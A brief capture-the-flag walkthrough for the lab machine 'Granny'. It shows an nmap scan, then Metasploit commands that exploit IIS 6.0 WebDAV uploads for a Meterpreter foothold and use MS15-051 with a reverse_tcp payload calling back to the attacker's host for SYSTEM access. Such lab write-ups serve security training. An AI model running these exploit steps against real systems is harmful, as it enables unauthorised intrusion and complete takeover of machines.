Granny

Enumeration

nmap -sC -sV -oA ./Granny 10.10.10.15

IIS 6.0 exposes WebDAV methods including PUT, MOVE, and COPY. The original walkthrough notes that the host is unstable and uses Metasploit for a reliable foothold.

WebDAV foothold

msfconsole
use exploit/windows/iis/iis_webdav_upload_asp
set RHOSTS 10.10.10.15
run

The module uploads an ASP payload as a text file, moves it to an executable extension, and opens a Meterpreter session.

Privilege escalation

The initial session requires process migration before local escalation. The writeup then uses the MS15-051 client-copy-image exploit against the active session with a Windows Meterpreter reverse payload.

use exploit/windows/local/ms15_051_client_copy_image
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST YOURIP
run

A successful callback provides SYSTEM-level access and the machine flags.